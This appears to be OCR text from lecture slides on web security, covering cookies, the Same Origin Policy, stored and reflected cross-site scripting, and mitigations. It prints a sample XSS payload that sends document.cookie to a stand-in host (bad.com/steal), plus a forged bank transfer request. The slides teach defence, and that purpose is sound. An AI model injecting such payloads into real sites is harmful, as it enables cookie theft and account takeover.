origin have access to the page's elements


http://bank.com

Cookies

Set-Cookie:(edition=us)expires=Wed, 18-Feb-2015 08:20:34 GMT] path=/;Jdomain=.zdnet.com)

Client Semantics

e Store “en” under the key “edition”

Browser « This value is no good as of Wed Feb
18...

e This value should only be readable by
any domain ending in . zdnet.com

(Private) * This should be available to any
BEVE! resource within a subdirectory of /

e Send the cookie to any future requests
to <domain>/<path>



Cookies

Set-Cookie:(edition=us)expires=Wed, 18-Feb-2015 08:20:34 GMT] path=/;Jdomain=.zdnet.com)

Client Semantics

e Store “en” under the key “edition”

Browser « This value is no good as of Wed Feb
18...

e This value should only be readable by
any domain ending in . zdnet.com

(Private) * This should be available to any
BEVE! resource within a subdirectory of /

e Send the cookie to any future requests
to <domain>/<path>



Cross-site scripting
(XSS)



XSS: Subverting the SOP

o Attacker provides a malicious script

* Jricks the user's browser into believing that the
script’s origin IS bank.com



http://bank.com

XSS: Subverting the SOP

o Attacker provides a malicious script

* Jricks the user's browser into believing that the
script’s origin IS bank.com

* One general approach:

- Jrick the server of interest (bank.com) to actually
send the attacker’s script to the user’'s browser!

- The browser will view the script as coming from the
same origin... because it does!


http://bank.com
http://bank.com

Two types of XSS

1. Stored (or “persistent”) XSS attack
e Attacker leaves their script on the bank.com server
* The server later unwittingly sends it to your browser

e Your browser, none the wiser, executes it within the
same origin as the bank.com server



Stored XSS attack

bad.com
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Stored XSS attack
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Stored XSS attack

Client

Inject
malicious
script
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Stored XSS attack
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GET http://bank.com/transfer?amt=9999&to=attacker
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Stored XSS attack

Client

Browser malicious

@

Execute the
malicious script
as though the
server meant us
to run it

bank.com

GET http://bank.com/transfer?amt=9999&to=attacker
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Stored XSS attack

GET http://bad.com/steal?c=document.cookie

Client

Browser malicious

@

Execute the
malicious script
as though the
server meant us
to run it

bank.com

GET http://bank.com/transfer?amt=9999&to=attacker
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Stored XSS Summary

Target: User with Javascript-enabled browser who ViIsIts
user-generated content page on a vulnerable web service

Attack goal: run script in user's browser with the same
access as provided to the server’s regular scripts (i.e.,
subvert the Same Origin Policy)

Attacker tools: ability to leave content on the web server
(e.q., via an ordinary browser). Optional tool: a server for
receiving stolen user information

Key trick: Server fails to ensure that content uploaded to
page does not contain embedded scripts



Two types of XSS

1. Stored (or “persistent”) XSS attack
e Attacker leaves their script on the bank.com server
* The server later unwittingly sends it to your browser

e Your browser, none the wiser, executes it within the
same origin as the bank.com server

2. Reflected XSS attack

o Attacker gets you to send the bank.com server a URL
that includes some Javascript code
* bank.com echoes the script back to you In its response

e Your browser, none the wiser, executes the script in the
response within the same origin as bank.com



http://bank.com

Reflected XSS attack

bad.com

Client

Browser



Reflected XSS attack
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Reflected XSS attack
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Reflected XSS attack

Browser URL specially crafted

f by the attacker

bank.com
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user input back in the HTML response
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* [he key to the reflected XSS attack is to find
iInstances where a good web server will echo the
user input back in the HTML response

Input from bad.com:

http://victim.com/search.php?term=socks




cchoed Input

* [he key to the reflected XSS attack is to find
iInstances where a good web server will echo the
user input back in the HTML response

Input from bad.com:

http://victim.com/search.php?term=socks

Result from victim.com:

<html> <title> Search results </title>
<body>
Results for socks :

</body></html>




EXploiting echoed Input



EXploiting echoed Input

Input from bad.com:

http://victim.com/search.php?term=
<script> window.open (
“http://bad.com/steal?c="
+ document.cookie)
</script>
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EXploiting echoed Input

Input from bad.com:

http://victim.com/search.php?term=
<script> window.open (
“http://bad.com/steal?c="
+ document.cookie)
</script>

Result from victim.com:

<html> <title> Search results </title>
<body>
Results for <script> ... </script>

</body></html>



http://bad.com/steal?c=

EXploiting echoed Input

Input from bad.com:

http://victim.com/search.php?term=
<script> window.open (
“http://bad.com/steal?c="
+ document.cookie)
</script>

Result from victim.com:

<html> <title> Search results </title>
<body>
Results for <script> ... </script>

</body></html>

Browser would execute this within victim.com'’s origin


http://bad.com/steal?c=
http://victim.com

Reflected XSS Summary

o Jarget: User with Javascript-enabled browser who a
vulnerable web service that includes parts of URLSs it
receives in the web page output it generates

* Attack goal: run script in user's browser with the same
access as provided to the server’s regular scripts (i.e.,
subvert the Same Origin Policy)

* Attacker tools: ability to get user to click on a specially-
crafted URL. Optional tool: a server for receiving stolen user
information

e Key trick: Server fails to ensure that the output it generates
does not contain embedded scripts other than its own



XSS Protection

 Open Web Application Security Project (OWASP):

- Whitelist: Validate all headers, cookies, query

strings... everything.. against a rigorous spec of what
should be allowed

+ Don’t blacklist: Do not attempt to filter/sanitize.

- Principle of fail-safe defaults.



Mitigating cookie security threats

Cookies must not be easy to guess
- Randomly chosen
- Sufficiently long

Time out session IDs and delete them once the
session ends



Twitter vulnerapllity

Uses one cookie (auth_token) to validate user

The cookie is a function of

« User name
« Password

auth_token weaknesses
- Does not change from one login to the next
* Does not become invalid when the user logs out

Steal this cookie once, and you can log in as the
user any time you want (until password change)



XSS vs. CSRF

e Do not confuse the two:

e XSS attacks exploit the trust a client browser has in
data sent from the legitimate website

« S0 the attacker tries to control what the website sends
to the client browser

 CSRF attacks exploit the trust the legitimate
website has in data sent from the client browser

« S0 the attacker tries to control what the client browser
sends to the website



